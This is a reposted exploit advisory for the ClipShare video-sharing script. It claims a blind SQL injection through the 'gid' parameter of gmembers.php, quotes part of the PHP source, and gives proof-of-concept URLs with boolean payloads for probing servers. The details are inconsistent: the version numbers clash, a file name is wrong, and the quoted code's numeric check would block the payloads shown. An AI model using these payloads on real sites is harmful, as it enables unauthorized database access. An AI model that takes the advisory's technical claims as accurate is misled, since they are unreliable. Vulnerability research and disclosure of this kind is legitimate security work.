ClipShare 4.1.1 – ‘gid’ Blind SQL Injection

Exploit Database
169 阅读

作者： Esac

日期： 2013-03-25
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/24881/

# Exploit Title: ClipShare 4.1.1 (gmembers.php) Blind SQL Injection Vulnerability

# Exploit Author: Esac

# Vulnerable Software: ClipShare - Video Sharing Community Script 4.1.4

# Official site: http://www.clip-share.com

# Software License: Commercial.

#all versions are vulnerable:

#Note : this vulnerable work just if there is a group added to the community

#Last Checked: 24 March 2013

#to exploit this vulnerability MAGIC_QUOTES_GPC directive must be turned off on server side.(php.ini)

==============================================================================================

#Vulnerable Script:

PHP script : members.phpon line 23

=========================== BEGIN OF gmembers.php =============================================

<?php

/************************************************************************************************

| Software Name: ClipShare - Video Sharing Community Script

| Software Author: Clip-Share.Com / ScriptXperts.Com

| Website: http://www.clip-share.com

| E-mail : office@clip-share.com

|**************************************************************************************************

| This source file is subject to the ClipShare End-User License Agreement, available online at:

| http://www.clip-share.com/video-sharing-script-eula.html

| By using this software, you acknowledge having read this Agreement and agree to be bound thereby.

|**************************************************************************************************

|**************************************************************************************************/

require('include/config.php');

require('include/function.php');

require('classes/pagination.class.php');

require('language/' .$_SESSION['language']. '/gmembers.lang.php');

$gname= NULL;

$gurl = NULL;

$oid= NULL;

$gid= ( isset($_REQUEST['gid']) && is_numeric($_REQUEST['gid']) ) ? mysql_real_escape_string($_REQUEST['gid']) : NULL;

$sql= "SELECT * FROM group_own WHERE GID='" .$gid. "' limit 1";

$rs = $conn->execute($sql);

if ( $conn->Affected_Rows() == 1 ) {

$urlkey = $rs->fields['gurl'];

$gname= $rs->fields['gname'];

$gupload= $rs->fields['gupload'];

$oid= $rs->fields['OID'];

STemplate::assign('gname', $gname);

STemplate::assign('gurl', $urlkey);

STemplate::assign('gupload', $gupload);

} else {

session_write_close();

header('Location: ' .$config['BASE_URL']. '/error.php?type=group_missing');

die();

}

...........................................;

...............................................

============================================================================================================

Poc :

http://server/mavideo/gmembers.php?gid=6 [Blind SQLi]

Real exploitation :

http://server/mavideo/gmembers.php?gid=6 AND 1=1

==> return normal page

http://server/mavideo/gmembers.php?gid=6 AND 1=2

==> return page with some errors ( or with nothing - white page )

--------------------------------------------------------------------------------------

PwnEd.

Tested version:

Sunday , March 24, 2013 | Version: 4.1.4 | Username: admin | Logout

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greetz : White Tarbouch Team

./Esac